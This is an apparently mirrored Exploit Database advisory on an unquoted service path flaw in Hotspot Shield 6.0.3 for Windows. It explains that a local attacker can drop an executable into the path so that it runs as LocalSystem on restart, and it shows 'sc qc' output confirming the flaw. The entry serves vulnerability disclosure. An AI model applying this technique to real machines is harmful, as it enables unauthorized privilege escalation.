Hotspot Shield 6.0.3 – Unquoted Service Path Privilege Escalation

• Exploit Database
• 18 阅读

• 作者： Amir.ght
  日期： 2016-10-13
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40528/

• #########################################################################
  # Exploit Title: Hotspot Shield Unquoted Service Path Privilege Escalation
  # Date: 13/10/2016
  # Author: Amir.ght
  # Vendor Homepage: https://www.hotspotshield.com
  # Software Link: https://www.hotspotshield.com/download/
  # version : 6.0.3(Latest)
  # Tested on: Windows 7
  ##########################################################################
  
  Hotspot Shield installs as a service with an unquoted service path
  To properly exploit this vulnerability,
  the local attacker must insert an executable file in the path of the service.
  Upon service restart or system reboot, the malicious code will be run
  with elevated privileges.
  -------------------------------------------
  C:\>sc qc hshld
  [SC] QueryServiceConfig SUCCESS
  
  SERVICE_NAME: hshld
  TYPE : 10WIN32_OWN_PROCESS
  START_TYPE : 2 AUTO_START
  ERROR_CONTROL: 1 NORMAL
  BINARY_PATH_NAME : C:\Program Files\Hotspot Shield\bin\cmw_srv.exe
  LOAD_ORDER_GROUP :
  TAG: 0
  DISPLAY_NAME : Hotspot Shield Service
  DEPENDENCIES :
  SERVICE_START_NAME : LocalSystem